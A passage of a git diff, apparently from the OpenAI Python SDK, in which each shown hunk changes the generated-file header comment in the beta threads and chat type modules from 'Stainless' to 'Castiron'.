@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/image_url_delta.py b/src/openai/types/beta/threads/image_url_delta.py
index e402671908..f194f3a394 100644
--- a/src/openai/types/beta/threads/image_url_delta.py
+++ b/src/openai/types/beta/threads/image_url_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/image_url_delta_block.py b/src/openai/types/beta/threads/image_url_delta_block.py
index 3128d8e709..888764c42b 100644
--- a/src/openai/types/beta/threads/image_url_delta_block.py
+++ b/src/openai/types/beta/threads/image_url_delta_block.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/image_url_param.py b/src/openai/types/beta/threads/image_url_param.py
index 6b7e427edd..ef8d90a59a 100644
--- a/src/openai/types/beta/threads/image_url_param.py
+++ b/src/openai/types/beta/threads/image_url_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/message.py b/src/openai/types/beta/threads/message.py
index fc7f73f091..1a684f301c 100644
--- a/src/openai/types/beta/threads/message.py
+++ b/src/openai/types/beta/threads/message.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/threads/message_content.py b/src/openai/types/beta/threads/message_content.py
index 9523c1e1b9..df6254ea9f 100644
--- a/src/openai/types/beta/threads/message_content.py
+++ b/src/openai/types/beta/threads/message_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/beta/threads/message_content_delta.py b/src/openai/types/beta/threads/message_content_delta.py
index b6e7dfa45a..d43d9e85c7 100644
--- a/src/openai/types/beta/threads/message_content_delta.py
+++ b/src/openai/types/beta/threads/message_content_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/beta/threads/message_content_part_param.py b/src/openai/types/beta/threads/message_content_part_param.py
index dc09a01c27..247ab1e24d 100644
--- a/src/openai/types/beta/threads/message_content_part_param.py
+++ b/src/openai/types/beta/threads/message_content_part_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/message_create_params.py b/src/openai/types/beta/threads/message_create_params.py
index b52386824a..30a04ea1c3 100644
--- a/src/openai/types/beta/threads/message_create_params.py
+++ b/src/openai/types/beta/threads/message_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/message_deleted.py b/src/openai/types/beta/threads/message_deleted.py
index 48210777fa..c1e5b2b975 100644
--- a/src/openai/types/beta/threads/message_deleted.py
+++ b/src/openai/types/beta/threads/message_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/message_delta.py b/src/openai/types/beta/threads/message_delta.py
index fdeebb3a12..e8d94310a4 100644
--- a/src/openai/types/beta/threads/message_delta.py
+++ b/src/openai/types/beta/threads/message_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/message_delta_event.py b/src/openai/types/beta/threads/message_delta_event.py
index d5ba1e172d..0d57dcd2be 100644
--- a/src/openai/types/beta/threads/message_delta_event.py
+++ b/src/openai/types/beta/threads/message_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/message_list_params.py b/src/openai/types/beta/threads/message_list_params.py
index a7c22a66fb..6df603de23 100644
--- a/src/openai/types/beta/threads/message_list_params.py
+++ b/src/openai/types/beta/threads/message_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/message_update_params.py b/src/openai/types/beta/threads/message_update_params.py
index bb078281e6..3c2a0f7733 100644
--- a/src/openai/types/beta/threads/message_update_params.py
+++ b/src/openai/types/beta/threads/message_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/refusal_content_block.py b/src/openai/types/beta/threads/refusal_content_block.py
index b4512b3ccb..3a17946506 100644
--- a/src/openai/types/beta/threads/refusal_content_block.py
+++ b/src/openai/types/beta/threads/refusal_content_block.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/refusal_delta_block.py b/src/openai/types/beta/threads/refusal_delta_block.py
index 85a1f08db1..ebc0b2482a 100644
--- a/src/openai/types/beta/threads/refusal_delta_block.py
+++ b/src/openai/types/beta/threads/refusal_delta_block.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/required_action_function_tool_call.py b/src/openai/types/beta/threads/required_action_function_tool_call.py
index 3cec8514ca..b8bf858e22 100644
--- a/src/openai/types/beta/threads/required_action_function_tool_call.py
+++ b/src/openai/types/beta/threads/required_action_function_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/run.py b/src/openai/types/beta/threads/run.py
index 8a88fa1673..5eb5b9de82 100644
--- a/src/openai/types/beta/threads/run.py
+++ b/src/openai/types/beta/threads/run.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/run_create_params.py b/src/openai/types/beta/threads/run_create_params.py
index 572d24c506..2ddfd26267 100644
--- a/src/openai/types/beta/threads/run_create_params.py
+++ b/src/openai/types/beta/threads/run_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/run_list_params.py b/src/openai/types/beta/threads/run_list_params.py
index fbea54f6f2..abc31c4127 100644
--- a/src/openai/types/beta/threads/run_list_params.py
+++ b/src/openai/types/beta/threads/run_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/run_status.py b/src/openai/types/beta/threads/run_status.py
index 47c7cbd007..1922290549 100644
--- a/src/openai/types/beta/threads/run_status.py
+++ b/src/openai/types/beta/threads/run_status.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/threads/run_submit_tool_outputs_params.py b/src/openai/types/beta/threads/run_submit_tool_outputs_params.py
index 147728603a..a2e6f0fe78 100644
--- a/src/openai/types/beta/threads/run_submit_tool_outputs_params.py
+++ b/src/openai/types/beta/threads/run_submit_tool_outputs_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/run_update_params.py b/src/openai/types/beta/threads/run_update_params.py
index fbcbd3fb14..2bae800f13 100644
--- a/src/openai/types/beta/threads/run_update_params.py
+++ b/src/openai/types/beta/threads/run_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/runs/__init__.py b/src/openai/types/beta/threads/runs/__init__.py
index 467d5d793d..6406f289ae 100644
--- a/src/openai/types/beta/threads/runs/__init__.py
+++ b/src/openai/types/beta/threads/runs/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/runs/code_interpreter_logs.py b/src/openai/types/beta/threads/runs/code_interpreter_logs.py
index 722fd2b4c4..df73ff3359 100644
--- a/src/openai/types/beta/threads/runs/code_interpreter_logs.py
+++ b/src/openai/types/beta/threads/runs/code_interpreter_logs.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/runs/code_interpreter_output_image.py b/src/openai/types/beta/threads/runs/code_interpreter_output_image.py
index 2257f37e41..833ae125fa 100644
--- a/src/openai/types/beta/threads/runs/code_interpreter_output_image.py
+++ b/src/openai/types/beta/threads/runs/code_interpreter_output_image.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/runs/code_interpreter_tool_call.py b/src/openai/types/beta/threads/runs/code_interpreter_tool_call.py
index bc78b5fa3d..c9b92bc8e1 100644
--- a/src/openai/types/beta/threads/runs/code_interpreter_tool_call.py
+++ b/src/openai/types/beta/threads/runs/code_interpreter_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/threads/runs/code_interpreter_tool_call_delta.py b/src/openai/types/beta/threads/runs/code_interpreter_tool_call_delta.py
index efedac795c..6383e60b2d 100644
--- a/src/openai/types/beta/threads/runs/code_interpreter_tool_call_delta.py
+++ b/src/openai/types/beta/threads/runs/code_interpreter_tool_call_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/threads/runs/file_search_tool_call.py b/src/openai/types/beta/threads/runs/file_search_tool_call.py
index 291a93ec65..df4da659e2 100644
--- a/src/openai/types/beta/threads/runs/file_search_tool_call.py
+++ b/src/openai/types/beta/threads/runs/file_search_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/runs/file_search_tool_call_delta.py b/src/openai/types/beta/threads/runs/file_search_tool_call_delta.py
index df5ac217dc..04fa5abc65 100644
--- a/src/openai/types/beta/threads/runs/file_search_tool_call_delta.py
+++ b/src/openai/types/beta/threads/runs/file_search_tool_call_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/runs/function_tool_call.py b/src/openai/types/beta/threads/runs/function_tool_call.py
index dd0e22cfb1..b87516e775 100644
--- a/src/openai/types/beta/threads/runs/function_tool_call.py
+++ b/src/openai/types/beta/threads/runs/function_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/runs/function_tool_call_delta.py b/src/openai/types/beta/threads/runs/function_tool_call_delta.py
index 4107e1b873..212d574893 100644
--- a/src/openai/types/beta/threads/runs/function_tool_call_delta.py
+++ b/src/openai/types/beta/threads/runs/function_tool_call_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/runs/message_creation_step_details.py b/src/openai/types/beta/threads/runs/message_creation_step_details.py
index cd925b57ce..20e08ccc7d 100644
--- a/src/openai/types/beta/threads/runs/message_creation_step_details.py
+++ b/src/openai/types/beta/threads/runs/message_creation_step_details.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/runs/run_step.py b/src/openai/types/beta/threads/runs/run_step.py
index 97451229fc..6b0a06c133 100644
--- a/src/openai/types/beta/threads/runs/run_step.py
+++ b/src/openai/types/beta/threads/runs/run_step.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/threads/runs/run_step_delta.py b/src/openai/types/beta/threads/runs/run_step_delta.py
index 2ccb770d57..0094f59041 100644
--- a/src/openai/types/beta/threads/runs/run_step_delta.py
+++ b/src/openai/types/beta/threads/runs/run_step_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/beta/threads/runs/run_step_delta_event.py b/src/openai/types/beta/threads/runs/run_step_delta_event.py
index 8f1c095ae4..bdc5f91e8f 100644
--- a/src/openai/types/beta/threads/runs/run_step_delta_event.py
+++ b/src/openai/types/beta/threads/runs/run_step_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/runs/run_step_delta_message_delta.py b/src/openai/types/beta/threads/runs/run_step_delta_message_delta.py
index 4b18277c18..21a997e219 100644
--- a/src/openai/types/beta/threads/runs/run_step_delta_message_delta.py
+++ b/src/openai/types/beta/threads/runs/run_step_delta_message_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/runs/run_step_include.py b/src/openai/types/beta/threads/runs/run_step_include.py
index 8e76c1b716..452df58502 100644
--- a/src/openai/types/beta/threads/runs/run_step_include.py
+++ b/src/openai/types/beta/threads/runs/run_step_include.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/threads/runs/step_list_params.py b/src/openai/types/beta/threads/runs/step_list_params.py
index a6be771d9f..3b5a582e3f 100644
--- a/src/openai/types/beta/threads/runs/step_list_params.py
+++ b/src/openai/types/beta/threads/runs/step_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/runs/step_retrieve_params.py b/src/openai/types/beta/threads/runs/step_retrieve_params.py
index ecbb72edbd..bdb0093746 100644
--- a/src/openai/types/beta/threads/runs/step_retrieve_params.py
+++ b/src/openai/types/beta/threads/runs/step_retrieve_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/runs/tool_call.py b/src/openai/types/beta/threads/runs/tool_call.py
index 565e3109be..988113ac55 100644
--- a/src/openai/types/beta/threads/runs/tool_call.py
+++ b/src/openai/types/beta/threads/runs/tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/beta/threads/runs/tool_call_delta.py b/src/openai/types/beta/threads/runs/tool_call_delta.py
index f0b8070c97..f4e2f971e7 100644
--- a/src/openai/types/beta/threads/runs/tool_call_delta.py
+++ b/src/openai/types/beta/threads/runs/tool_call_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/beta/threads/runs/tool_call_delta_object.py b/src/openai/types/beta/threads/runs/tool_call_delta_object.py
index dbd1096ad6..829319c8fa 100644
--- a/src/openai/types/beta/threads/runs/tool_call_delta_object.py
+++ b/src/openai/types/beta/threads/runs/tool_call_delta_object.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/runs/tool_calls_step_details.py b/src/openai/types/beta/threads/runs/tool_calls_step_details.py
index 1f54a6aa71..4c3ed0a78f 100644
--- a/src/openai/types/beta/threads/runs/tool_calls_step_details.py
+++ b/src/openai/types/beta/threads/runs/tool_calls_step_details.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/text.py b/src/openai/types/beta/threads/text.py
index 853bec2955..ff2beadf70 100644
--- a/src/openai/types/beta/threads/text.py
+++ b/src/openai/types/beta/threads/text.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
diff --git a/src/openai/types/beta/threads/text_content_block.py b/src/openai/types/beta/threads/text_content_block.py
index b9b1368a17..2b87d26c8d 100644
--- a/src/openai/types/beta/threads/text_content_block.py
+++ b/src/openai/types/beta/threads/text_content_block.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/threads/text_content_block_param.py b/src/openai/types/beta/threads/text_content_block_param.py
index 22c864438d..7d8fcf395f 100644
--- a/src/openai/types/beta/threads/text_content_block_param.py
+++ b/src/openai/types/beta/threads/text_content_block_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/threads/text_delta.py b/src/openai/types/beta/threads/text_delta.py
index 09cd357027..ec100f8f4b 100644
--- a/src/openai/types/beta/threads/text_delta.py
+++ b/src/openai/types/beta/threads/text_delta.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
diff --git a/src/openai/types/beta/threads/text_delta_block.py b/src/openai/types/beta/threads/text_delta_block.py
index a3d339ccad..baa6cb153d 100644
--- a/src/openai/types/beta/threads/text_delta_block.py
+++ b/src/openai/types/beta/threads/text_delta_block.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/chat/__init__.py b/src/openai/types/chat/__init__.py
index 50bdac7c65..4b64f36026 100644
--- a/src/openai/types/chat/__init__.py
+++ b/src/openai/types/chat/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion.py b/src/openai/types/chat/chat_completion.py
index 633d89e26c..9f0981a741 100644
--- a/src/openai/types/chat/chat_completion.py
+++ b/src/openai/types/chat/chat_completion.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/chat/chat_completion_allowed_tool_choice_param.py b/src/openai/types/chat/chat_completion_allowed_tool_choice_param.py
index c5ba21626d..6c963ece23 100644
--- a/src/openai/types/chat/chat_completion_allowed_tool_choice_param.py
+++ b/src/openai/types/chat/chat_completion_allowed_tool_choice_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_allowed_tools_param.py b/src/openai/types/chat/chat_completion_allowed_tools_param.py
index ac31fcb543..24ddced45a 100644
--- a/src/openai/types/chat/chat_completion_allowed_tools_param.py
+++ b/src/openai/types/chat/chat_completion_allowed_tools_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_assistant_message_param.py b/src/openai/types/chat/chat_completion_assistant_message_param.py
index 16a218438a..b7b4ca299e 100644
--- a/src/openai/types/chat/chat_completion_assistant_message_param.py
+++ b/src/openai/types/chat/chat_completion_assistant_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_audio.py b/src/openai/types/chat/chat_completion_audio.py
index df346d8c9d..5b974313f4 100644
--- a/src/openai/types/chat/chat_completion_audio.py
+++ b/src/openai/types/chat/chat_completion_audio.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/chat/chat_completion_audio_param.py b/src/openai/types/chat/chat_completion_audio_param.py
index fe64ba49aa..362230d468 100644
--- a/src/openai/types/chat/chat_completion_audio_param.py
+++ b/src/openai/types/chat/chat_completion_audio_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_chunk.py b/src/openai/types/chat/chat_completion_chunk.py
index 41fa4bc5c2..7373b5e6c2 100644
--- a/src/openai/types/chat/chat_completion_chunk.py
+++ b/src/openai/types/chat/chat_completion_chunk.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/chat/chat_completion_content_part_image.py b/src/openai/types/chat/chat_completion_content_part_image.py
index 43a80f0587..7287a6f4da 100644
--- a/src/openai/types/chat/chat_completion_content_part_image.py
+++ b/src/openai/types/chat/chat_completion_content_part_image.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/chat/chat_completion_content_part_image_param.py b/src/openai/types/chat/chat_completion_content_part_image_param.py
index fc1fbc2d3e..cd439bae67 100644
--- a/src/openai/types/chat/chat_completion_content_part_image_param.py
+++ b/src/openai/types/chat/chat_completion_content_part_image_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_content_part_input_audio_param.py b/src/openai/types/chat/chat_completion_content_part_input_audio_param.py
index 1993c62569..54d4f62564 100644
--- a/src/openai/types/chat/chat_completion_content_part_input_audio_param.py
+++ b/src/openai/types/chat/chat_completion_content_part_input_audio_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_content_part_param.py b/src/openai/types/chat/chat_completion_content_part_param.py
index 667b4f0ae8..7bff9044f4 100644
--- a/src/openai/types/chat/chat_completion_content_part_param.py
+++ b/src/openai/types/chat/chat_completion_content_part_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_content_part_refusal_param.py b/src/openai/types/chat/chat_completion_content_part_refusal_param.py
index c18c7db770..b32561b9cb 100644
--- a/src/openai/types/chat/chat_completion_content_part_refusal_param.py
+++ b/src/openai/types/chat/chat_completion_content_part_refusal_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_content_part_text.py b/src/openai/types/chat/chat_completion_content_part_text.py
index d76cf886cc..df9a70402d 100644
--- a/src/openai/types/chat/chat_completion_content_part_text.py
+++ b/src/openai/types/chat/chat_completion_content_part_text.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/chat/chat_completion_content_part_text_param.py b/src/openai/types/chat/chat_completion_content_part_text_param.py
index 2297683505..f17920897e 100644
